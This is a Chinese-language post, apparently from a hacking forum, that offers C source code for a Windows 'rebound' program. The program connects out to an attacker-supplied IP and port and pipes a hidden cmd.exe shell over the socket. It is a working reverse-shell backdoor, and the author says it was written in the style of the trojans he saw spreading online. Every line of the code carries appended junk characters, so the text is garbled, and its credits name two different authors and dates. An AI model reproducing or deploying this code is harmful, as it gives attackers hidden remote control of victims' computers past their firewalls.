这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v?@=WG
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/* ============================== lWyg_YO@
Rebound port in Windows NT n1Z*wMwC
By wind,2006/7 8V?*Bz-4`
===============================*/ }VU7wMk
#include Can:!48
#include NScUlR"nE
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#pragma comment(lib,"wsock32.lib") eWk
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void OutputShell(); :OKU@l|
SOCKET sClient; 7`P1=`..
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s
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void main(int argc,char **argv) ETQL,t9m
{ Xw'Y
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WSADATA stWsaData; m=#<
int nRet; JY0}#FtgV
SOCKADDR_IN stSaiClient,stSaiServer; dfR?O#JPU
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if(argc != 3) CkeqK
{ |h 3`z
printf("Useage:\n\rRebound DestIP DestPort\n"); :c3'U_H^
return; p5V.O20
} [+3~wpU(p
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WSAStartup(MAKEWORD(2,2),&stWsaData); dXMO{*MF{H
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _08y; _S
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stSaiClient.sin_family = AF_INET; &eIwlynm
stSaiClient.sin_port = htons(0); f1wwx|b%.
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O|e/(s?$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bBp('oEJu
{ 3f)!RKS9q
printf("Bind Socket Failed!\n"); z#Cgd-^7.#
return; _h1:{hF
} JfVGs;_,
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stSaiServer.sin_family = AF_INET; ApotRr$)
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ( jtkY_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Dy|DQ> ?}
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zz[[9Am!
{ 9oA-Swc[
printf("Connect Error!"); ;yDXo\gm
return; 2O+fjs
} Y}hz UKJ
OutputShell(); m'"Ra-
} FZ@8&T
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void OutputShell() 1vL$k[^&d
{ G1S:hw%rp
char szBuff[1024]; ;_D5]kl`
SECURITY_ATTRIBUTES stSecurityAttributes; ?t"bF :!
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Mw{skK>b
STARTUPINFO stStartupInfo; -z?O^:e#x
char *szShell; _/RP3" #
PROCESS_INFORMATION stProcessInformation; ^SJa/I EZ.
unsigned long lBytesRead; G}0fk]%\:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [+
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J%ue{PL7
stSecurityAttributes.lpSecurityDescriptor = 0; a4D4*=!G0
stSecurityAttributes.bInheritHandle = TRUE; fS- 31<?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xyaU!E*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SO}en[()O
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Nbm=;FHB`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8+U':xR
stStartupInfo.wShowWindow = SW_HIDE; 90]{4 ]y;
stStartupInfo.hStdInput = hReadPipe; Nk/Ms:57y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c69M
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GetVersionEx(&stOsversionInfo); K$Yc!4M
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switch(stOsversionInfo.dwPlatformId) liG3
{ '<KzWxuC
case 1: K)n0?Q_>
szShell = "command.com"; pgU4>tyD
break; 9KLhAYaq
default: lL6qK&;
szShell = "cmd.exe"; J"O#w BM9
break; j,CMcP7A -
} Mb[4G>-v=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yi9c+w)b
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send(sClient,szMsg,77,0); $[-{Mm
while(1) C%+>uzVIw
{ `Ao;xOJ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Y'S9
if(lBytesRead) X>6VucH{\
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `%M}
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send(sClient,szBuff,lBytesRead,0); QWWoj[d#
} NurbioFL
else C},$(2>0+
{ qnZ`]?
lBytesRead=recv(sClient,szBuff,1024,0); gZ1|b
if(lBytesRead<=0) break; 7f`x-iH!]7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3kBpH7h4
} w_
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} m%?b"kxL[
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return; C'$}!p70
}